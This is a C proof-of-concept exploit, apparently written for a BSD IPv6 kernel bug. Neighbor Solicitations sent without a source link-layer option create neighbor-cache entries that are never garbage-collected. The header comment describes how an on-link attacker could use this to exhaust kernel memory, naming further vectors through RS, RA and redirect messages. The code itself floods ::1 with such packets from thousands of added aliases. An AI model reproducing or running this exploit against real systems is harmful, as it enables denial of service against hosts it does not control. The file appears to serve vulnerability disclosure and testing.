/*
 * DF-3331 PoC -- nd6_cache_lladdr() creates ND6_LLINFO_NOSTATE neighbor
 * cache entries with ln_expire == 0 that nd6_timer() NEVER garbage collects
 * (no NOSTATE case in its state switch, nd6.c:496-572), so every ND packet
 * from a not-yet-cached source WITHOUT a source link-layer address option
 * plants an immortal kernel allocation (rtentry + radix node + llinfo_nd6).
 *
 * BUG (sys/netinet6/nd6.c):
 *   nd6_ns_input() (nd6_nbr.c:407) calls
 *       nd6_cache_lladdr(cmpifp, &saddr6, lladdr, lladdrlen, ...)
 *   unconditionally, with lladdr == NULL when the NS has no SLLA option.
 *   nd6_cache_lladdr() then does nd6_lookup(from, 1, ifp):
 *     - nd6_rtrequest(RTM_ADD) (nd6.c:1294-1320) allocates ln, and for
 *       req==RTM_ADD leaves ln_expire == 0 (only RTM_RESOLVE sets it),
 *     - nd6_lookup sets ln_state = ND6_LLINFO_NOSTATE (nd6.c:920-925),
 *     - nd6_cache_lladdr case (6) (nd6.c:1780-1786) keeps NOSTATE and
 *       sets no expiry.
 *   nd6_timer_dispatch() (nd6.c:463-574) skips entries with
 *   ln_expire == 0 in every case that would free them and has NO case for
 *   ND6_LLINFO_NOSTATE (-2) at all: the entry lives until the interface
 *   is detached or the machine reboots.
 *
 *   => an unauthenticated ON-LINK attacker sends NS (no SLLA) from N
 *   distinct source IPv6 addresses and permanently pins N kernel
 *   allocations: unbounded kernel memory exhaustion (route table +
 *   llinfo), trivially at line rate.  Same vector via RS (nd6_rtr.c:181,
 *   router-mode hosts) and RA without SLLA (nd6_rtr.c:403, accept_rtadv
 *   hosts); redirect without TLLA (icmp6.c:2314).
 *
 * PRIVILEGE MODEL: this PoC runs as root ONLY because AF_INET6 raw
 * sockets cannot spoof the IPv6 source (no IPV6_HDRINCL on BSD) -- the
 * kernel builds the outer header from the bound local address.  We
 * therefore add N local aliases on lo0 and send one NS per alias,
 * modeling an on-link attacker sending from N arbitrary source
 * addresses.  The real attack needs NO local privilege: the injected
 * packets are bit-identical to what any on-link peer emits, and the
 * target address (::1) requires no knowledge beyond host aliveness.
 *
 * usage: nsimmort [-n count] [-b base] [-s sleep_ms]
 */
#include <sys/param.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>

#include <net/if.h>
#include <netinet/in.h>
#include <netinet/icmp6.h>
#include <netinet6/in6_var.h>

#include <arpa/inet.h>

#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

static const char *ifname = "lo0";
static const char *base   = "2001:db8:d34d::";	/* alias stem */

static void
die(const char *s)
{
	fprintf(stderr, "nsimmort: %s: %s\n", s, strerror(errno));
	exit(1);
}

static void
mask6(struct sockaddr_in6 *sin6, int plen)
{
	int i;

	memset(sin6, 0, sizeof(*sin6));
	sin6->sin6_len = sizeof(*sin6);
	sin6->sin6_family = AF_INET6;
	for (i = 0; i < plen / 8; i++)
		sin6->sin6_addr.s6_addr[i] = 0xff;
	if (plen % 8)
		sin6->sin6_addr.s6_addr[plen / 8] =
		    (0xff00 >> (plen % 8)) & 0xff;
}

static int
add_alias(int s, const char *addr, int plen)
{
	struct in6_aliasreq ifra;

	memset(&ifra, 0, sizeof(ifra));
	strlcpy(ifra.ifra_name, ifname, sizeof(ifra.ifra_name));
	ifra.ifra_addr.sin6_len = sizeof(ifra.ifra_addr);
	ifra.ifra_addr.sin6_family = AF_INET6;
	if (inet_pton(AF_INET6, addr, &ifra.ifra_addr.sin6_addr) != 1) {
		fprintf(stderr, "bad addr %s\n", addr);
		exit(1);
	}
	mask6(&ifra.ifra_prefixmask, plen);

	return ioctl(s, SIOCAIFADDR_IN6, &ifra);
}

static int
send_ns(const struct in6_addr *src)
{
	struct {
		struct nd_neighbor_solicit ns;
	} pkt;
	struct sockaddr_in6 me, dst;
	int s, hops = 255, rc;

	memset(&pkt, 0, sizeof(pkt));
	pkt.ns.nd_ns_hdr.icmp6_type = ND_NEIGHBOR_SOLICIT;
	pkt.ns.nd_ns_hdr.icmp6_code = 0;
	pkt.ns.nd_ns_hdr.icmp6_cksum = 0;	/* kernel computes it */
	if (inet_pton(AF_INET6, "::1", &pkt.ns.nd_ns_target) != 1)
		die("inet_pton(::1)");

	if ((s = socket(AF_INET6, SOCK_RAW, IPPROTO_ICMPV6)) < 0)
		return (-1);
	memset(&me, 0, sizeof(me));
	me.sin6_len = sizeof(me);
	me.sin6_family = AF_INET6;
	me.sin6_addr = *src;
	if (bind(s, (struct sockaddr *)&me, sizeof(me)) < 0) {
		close(s);
		return (-1);
	}
	if (setsockopt(s, IPPROTO_IPV6, IPV6_UNICAST_HOPS,
	    &hops, sizeof(hops)) < 0) {
		close(s);
		return (-1);
	}
	memset(&dst, 0, sizeof(dst));
	dst.sin6_len = sizeof(dst);
	dst.sin6_family = AF_INET6;
	if (inet_pton(AF_INET6, "::1", &dst.sin6_addr) != 1)
		die("inet_pton");
	rc = sendto(s, &pkt, sizeof(pkt), 0,
	    (struct sockaddr *)&dst, sizeof(dst));
	close(s);
	return (rc);
}

int
main(int argc, char **argv)
{
	struct in6_addr src;
	char addrbuf[64];
	long n = 5000, i, ok = 0, fail = 0;
	int s, c;

	while ((c = getopt(argc, argv, "n:b:i:")) != -1) {
		switch (c) {
		case 'n': n = atol(optarg); break;
		case 'b': base = optarg; break;
		case 'i': ifname = optarg; break;
		default: goto usage;
		}
	}
	argc -= optind;
	argv += optind;
	if (argc != 0) {
usage:
		fprintf(stderr,
		    "usage: nsimmort [-n count] [-b base] [-i ifname]\n");
		return (1);
	}

	if ((s = socket(AF_INET6, SOCK_DGRAM, 0)) < 0)
		die("DGRAM socket for ioctls");

	for (i = 0; i < n; i++) {
		snprintf(addrbuf, sizeof(addrbuf), "%s%lx", base,
		    (unsigned long)(0x1000 + i));
		if (add_alias(s, addrbuf, 128) != 0) {
			if (errno != EEXIST)
				fail++;
		}
		if (inet_pton(AF_INET6, addrbuf, &src) != 1)
			die("inet_pton(alias)");
		if (send_ns(&src) < 0)
			fail++;
		else
			ok++;
		if ((i % 2500) == 2499) {
			printf("nsimmort: %ld/%ld NS sent (fail=%ld)\n",
			    i + 1, n, fail);
			fflush(stdout);
		}
	}
	printf("nsimmort: DONE sent=%ld fail=%ld\n", ok, fail);
	return (0);
}
